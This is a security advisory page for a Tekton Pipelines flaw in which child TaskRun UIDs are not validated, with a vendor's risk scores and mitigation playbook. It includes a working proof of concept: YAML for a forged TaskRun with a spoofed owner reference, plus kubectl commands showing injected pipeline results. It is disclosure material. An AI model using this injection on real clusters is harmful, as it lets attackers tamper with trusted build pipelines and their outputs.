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GHSA-w2h3-vvvq-3m53

LOW

Pipelines do not validate child UIDs

Also known asCVE-2023-37264GO-2023-1901
Published
Jul 7, 2023
Updated
Feb 4, 2026
Affected
1 pkg
Patched
None yet
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk23th percentile+0.22%
0.00%0.27%0.55%0.82%0.1%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/tektoncd/pipeline

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.

We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.

Details

While we store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference, we only store (api version, kind, name) in the ChildStatusReference .

This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.

I believe this is also true for TaskRuns -> Pods since it looks like we only lookup by name, though I haven't tested this.

If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)

PoC

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: PipelineRun
metadata:
  name: hello-pr
spec:
  pipelineSpec:
    tasks:
      - name: task1
        taskSpec:
          steps:
            - name: echo
              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
              script: |
                sleep 60
      - name: task2
        runAfter: [task1]
        taskSpec:
          steps:
            - name: echo
              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
              script: |
                echo "asdf" > $(results.foo.path)
          results:
            - name: foo
    results:
      - name: foo
        value: $(tasks.task2.results.foo)

Once this is running, grab the PR UID:

$ k get pr hello-pr -o json | jq .metadata.uid -r

While pipeline is running task 1, start fake task 2:

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: TaskRun
metadata:
  annotations:
  labels:
    [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines
    [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks
    [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr
    [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr
    [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2
  name: hello-pr-task2
  namespace: default
  ownerReferences:
  - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
    blockOwnerDeletion: true
    controller: true
    kind: PipelineRun
    name: hello-pr
    uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step
spec:
  serviceAccountName: default
  taskSpec:
    results:
    - name: foo
      type: string
    steps:
    - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
      name: echo
      resources: {}
      script: |
        echo "zxcv" > $(results.foo.path)

Get pipeline results - it shows the output of the 2nd injected TaskRun

$ k get pr -o json hello-pr | jq .status.pipelineResults
[
  {
    "name": "foo",
    "value": "zxcv\n"
  }
]

Impact

This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.

Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/tektoncd/pipeline0.35.0No fix
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tektoncd/pipeline. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/tektoncd/pipeline has shipped for GHSA-w2h3-vvvq-3m53 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-w2h3-vvvq-3m53 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-w2h3-vvvq-3m53. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task. We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. ### Details While we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only st
O3 Security · Impact-Aware SCA

Is GHSA-w2h3-vvvq-3m53 in your dependencies?

O3 detects GHSA-w2h3-vvvq-3m53 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.